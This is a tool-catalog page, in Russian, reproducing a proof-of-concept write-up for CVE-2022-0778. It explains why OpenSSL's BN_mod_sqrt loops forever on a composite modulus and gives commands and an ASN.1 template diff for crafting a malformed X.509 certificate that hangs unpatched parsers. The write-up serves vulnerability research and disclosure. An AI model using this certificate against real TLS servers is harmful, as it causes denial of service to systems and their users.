Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-0778 — Эксплойт proof-of-concept для CVE-2022-0778, демонстрирующий бесконечный цикл в BN_mod_sqrt в OpenSSL через специально сформированный сертификат X.509 с непростыми параметрами кривой, что позволяет осуществлять атаки типа «отказ в обслуживании». | Kitploit
Инструменты/GitHubGitHub/drago-96/cve-2022-0778
Анализ уязвимостейЭксплуатацияКриптографияАнализ Бинарных ФайловСтатьи и ИсследованияОбучение и Образование
GitHubdrago-96/cve-2022-0778

CVE-2022-0778

Эксплойт proof-of-concept для CVE-2022-0778, демонстрирующий бесконечный цикл в BN_mod_sqrt в OpenSSL через специально сформированный сертификат X.509 с непростыми параметрами кривой, что позволяет осуществлять атаки типа «отказ в обслуживании».

Репозиторий
1814634 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-0778

Обнаруженная уязвимость вызывает бесконечный цикл в функции BN_mod_sqrt() OpenSSL при разборе ключа эллиптической кривой. Это означает, что вредоносный X.509-сертификат может вызвать отказ в обслуживании (DoS) любого незапатченного сервера.

Суть уязвимости заключается в разборе EC-ключей с точками в сжатом формате: при разборе таких ключей OpenSSL пытается развернуть сжатую точку, вычисляя квадратный корень по модулю простого числа p, над которым определена кривая. Однако простота p нигде не проверяется, даже в BN_mod_sqrt(), для которой это является обязательным условием; таким образом, ошибка в реализации приводит к бесконечному циклу из-за того, что p не является простым, как ожидалось.

中文版说明可以见我的博客OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造

Благодарности

  • Tavis Ormandy за обнаружение и раскрытие уязвимости
  • Drago за публикацию теста для BN_mod_sqrt()
  • catbro666 за создание X.509-сертификата, который заставляет сервер зависать
  • wllm-rbnt за полезный инструмент asn1template
  • Как тестировать

    Предварительное условие — установленные gcc и уязвимая версия OpenSSL.

    Для ошибки в BN_mod_sqrt(): скомпилируйте с помощью gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, запустите ./my_bad_sqrt и наблюдайте бесконечное зависание! :D

    С сертификатом: выполните openssl x509 -in certs/cert.der.new -inform DER -text -noout в командной строке; это также вызывает зависание.

    Попадание в цикл

    Функция BN_mod_sqrt() реализует алгоритм Тонелли-Шенкса для нахождения квадратного корня по модулю, т.е. для заданных целого числа a и простого числа p возвращает значение r такое, что r^2 == a (mod p).

    Анализируя коммит, который исправляет уязвимость, мы видим, что виновником является цикл, который находит наименьший индекс i, для которого b^(2^i)==1 (mod p), где b определено ранее в алгоритме.

    Цикл изменён с

    root@kitploit:~
    i = 1;
    if (!BN_mod_sqr(t, b, p, ctx))
        goto end;
    while (!BN_is_one(t)) {
        i++;
        if (i == e) {
            ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
            goto end;
        }
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    

    на

    root@kitploit:~
    for (i = 1; i < e; i++) {
        if (i == 1) {
            if (!BN_mod_sqr(t, b, p, ctx))
                goto end;
        } else {
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }
        if (BN_is_one(t))
            break;
    }
    

    Во втором случае используется цикл for, ограниченный переменной e; в исходном коде, однако, есть только проверка случая i==e внутри цикла while.

    Поскольку эти циклы находятся внутри более крупного цикла, который на каждой итерации устанавливает новое значение e равным текущему значению i, мы попробуем следующую стратегию атаки:

    1. при первом выполнении внешнего цикла добиться, чтобы i=1 в конце; для этого необходимо, чтобы b^2=1 (mod p).
    2. таким образом, во время второго выполнения мы получим e=1, и если мы сможем попасть во внутренний цикл, проверка i==e всегда будет проваливаться.
    3. если мы сможем всегда иметь t != 1 (mod p), то останемся в цикле навсегда.

    Заметьте, что первые два шага могут произойти и при «нормальном» выполнении, т.е. с простым p. Однако, если p составное, мы можем также выполнить и третий шаг!

    Немного математики

    Алгоритм Тонелли-Шенкса работает, записывая p - 1 = 2^e * q с нечётным q. Это также порядок мультипликативной группы целых чисел по модулю p, и значения e и q будут многократно использоваться во время выполнения; однако, если p не простое, порядок мультипликативной группы не будет равен p-1, и это поможет нам попасть в бесконечный цикл.

    В частности, b инициализируется как b = a^q (mod p), что означает, что если бы p было простым, то b имело бы порядок, являющийся степенью двойки, который мы затем найдём с помощью цикла.

    Но если мы установим p = r * s, порядок мультипликативной группы будет (r-1)*(s-1) = r*s - r - s + 1 вместо r*s-1. Алгоритм использует значение q для получения элемента y порядка ровно 2^e; однако, когда p не простое, значение q не будет иметь особого смысла для порядка, поэтому элемент y не будет иметь порядок, равный степени двойки, по модулю p=r*s.

    Поскольку в конце первого внешнего цикла b устанавливается как b = b*y^(e-i) (mod p), на второй итерации внутренний цикл будет пытаться найти значение i, для которого b^(2^i) == 1 (mod p), но потерпит неудачу, так как y больше не гарантированно имеет порядок степени двойки.

    Эксплойт

    Числа в эксплойте очень простые: мы берём r=17,s=41, что даёт p=r*s=697. Это означает, что вычисленные значения e и q будут p-1 = 2^3 * 87.

    Затем мы выбираем a=696, что означает a == -1 (mod p) и также b == -1 (mod p) при инициализации. Это удовлетворяет шагу 1, устанавливая e=1 для следующего внешнего цикла.

    Затем b будет установлено в элемент, порядок которого не является степенью двойки, и внутренний цикл застрянет, пытаясь найти i, для которого b^(2^i)==1 (mod p).

    Создание опасного сертификата

    Хорошо, теперь давайте изготовим опасный сертификат, который содержит недопустимые явные параметры кривой с базовой точкой, закодированной в сжатой форме.

    Файлы этого раздела находятся в папке certs.

    Создание обычного сертификата с явными параметрами кривой

    Сначала нужно создать закрытый ключ EC. Поскольку мы хотим получить целевой сертификат с явными параметрами кривой, ключ также должен содержать явные параметры кривой.

    root@kitploit:~
    $ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
    

    Затем для удобства мы подписываем сертификат самому себе и выводим его в формате DER.

    root@kitploit:~
    $ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
    

    Давайте проверим информацию о сертификате. Он содержит явные параметры кривой, как и ожидалось.

    root@kitploit:~
    $ openssl x509 -in cert.der -text -noout -inform DER
    ...
                    Field Type: prime-field
                    Prime:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:ff
                    A:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:fc
                    B:
                        5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                        bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                        60:4b
                    Generator (compressed):
                        03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                        40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                        98:c2:96
                    Order:
                        00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                        ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                        63:25:51
    ...
    

    Создание недействительного сертификата

    Теперь нужно изменить значения этих параметров: Prime, A, B, Generator. Они удовлетворяют уравнению ниже

    где p — это Prime, a — параметр A, b — параметр B. p, a, b вместе определяют кривую. Разжатие точки означает вычисление координаты Y по соответствующей координате X.

    Очевидно, что необходимо использовать операцию извлечения квадратного корня по модулю, которая вызовет BN_mod_sqrt().

    Основываясь на работе drago-96, мы берём p=697, x^3+ax+b=696. Затем нам нужно выбрать подходящие a, b, x, удовлетворяющие второму уравнению. Здесь мы берём x=8, a=23, b=0.

    Хорошо, теперь можно приступить к редактированию сертификата. Ручное редактирование структуры ASN.1 — ужасное занятие. Я использовал инструмент xxd, чтобы преобразовать сертификат в шестнадцатеричный формат, а затем отредактировал его с помощью vim. После завершения редактирования преобразовал обратно с помощью xxd -r.

    root@kitploit:~
    $ cp cert.der cert.der.old
    $ xxd cert.der cert.der.hex
    $ cp cert.der.hex cert.der.hex.old
    $ vim cert.der.hex
    # редактируем cert.der.hex
    # ...
    # готово
    $ xxd -r cert.der.hex cert.der.new
    

    Я не нашёл более удобного инструмента. Если кто-то знает такой инструмент, пожалуйста, поделитесь в комментариях.

    Шаги создания примерно следующие:

    1. Изменить значения Prime, A, B, Generator
      1. Изменить Prime на 697, т.е. 0x2b9 в шестнадцатеричном виде
      2. Изменить A на 23, т.е. 0x17 в шестнадцатеричном виде
      3. Изменить B на 0
      4. Изменить координату X Generator на 8, т.е. 0x020008 (или 0x030008) при кодировании в сжатом формате
    2. Поскольку OpenSSL проверяет формат заполнения ASN1_INTEGER, Prime не должен содержать ведущие нулевые байты, поэтому нужно изменить длину Prime
    3. Аналогично, OpenSSL сравнивает длину Prime с длиной строки точки, поэтому длина координаты X Generator должна совпадать с длиной Prime. Именно поэтому мы устанавливаем Generator как 030008, а не 0308.
    4. Поскольку структура ASN.1 сертификата вложена, все длины внешних объектов также должны быть исправлены.
    5. Обратите внимание, что после выполнения xxd -r в конце файла может появиться нежелательный символ новой строки (0x0a). Удалите его.

    Теперь давайте посмотрим на структуру ASN.1 обычного сертификата. Части, отмеченные красной линией, нужно изменить.

    root@kitploit:~
    $ openssl asn1parse -in cert.der -inform DER -i
    

    asn1-структура-x509-до

    Длины до и после модификации приведены ниже:

    от(dec)от(hex)до(dec)до(hex)
    5492254881e8
    4601cc39918f
    26610a205cd
    227e3166a6
    215d71549a
    442c130d
    33 Prime21202
    33 Generator21303

    Использование ASN1-шаблонов

    Обновлено 2020-03-21:

    Намного проще использовать инструмент asn1template, написанный wllm-rbnt.

    Клонируйте репозиторий:

    root@kitploit:~
    $ git clone https://github.com/wllm-rbnt/asn1template.git
    

    Сгенерируйте DER-шаблон из этого сертификата:

    root@kitploit:~
    $ ./asn1template/asn1template.pl cert.der > cert.tpl
    

    Затем измените упомянутые выше параметры:

    root@kitploit:~
    diff cert.tpl cert_new.tpl
    46c46
    < field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
    ---
    > field32 = FORMAT:HEX,OCTETSTRING:030008
    51c51
    < field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
    ---
    > field36 = INTEGER:0x2B9
    53,54c53,54
    < field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
    < field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
    ---
    > field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
    > field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
    

    Преобразуйте обратно в DER-кодированный ASN1 с помощью ASN1_generate_nconf(3):

    root@kitploit:~
    $ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
    

    Результат cert_new.der эквивалентен версии, отредактированной вручную.

    Итак, мы успешно создали недействительный сертификат. Давайте посмотрим новую структуру ASN.1

    root@kitploit:~
    $ openssl asn1parse -in cert.der.new -inform DER -i
    

    asn1-структура-x509-после

    Все красные части были изменены, и сертификат корректно декодируется DER.

    Тестирование с недействительным сертификатом

    Теперь попробуем разобрать сертификат. Если всё ожидаемо, процесс войдёт в бесконечный цикл.

    root@kitploit:~
    openssl x509 -in cert.der.new -inform DER -text -noout
    

    бесконечный-цикл-при-разборе-недействительного-сертификата

    Как показано, %CPU процесса openssl равен 100, и стек вызовов находится внутри BN_mod_sqrt().

    Если злоумышленник отправит такой созданный сертификат при установке SSL-соединения с сервером, сервер войдёт в бесконечный цикл, что вызовет DoS-атаку.

    Создание сертификата, альтернативный способ

    Мы попробуем создать сертификат с помощью библиотеки OpenSSL C libcrypto.

    Как мы видели, нужно использовать кривую с составным основным полем и кодировать точки в сжатой форме, чтобы при разборе попасть в ошибку в BN_mod_sqrt().

    Это можно сделать, установив кривую y^2 = x^3 + 1*x + 694 (mod 697) с генератором (1, 132); это вызовет BN_mod_sqrt() с теми же параметрами, что и в my_bad_sqrt.

    Выполнение gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group создаст файл my_bad_group.der, который содержит ECparams в формате DER.

    Попытка разобрать эти параметры с помощью OpenSSL приведёт к бесконечному циклу: openssl ecparam -in my_bad_group.der -inform der.

    ... WIP ...

    Скачать инструмент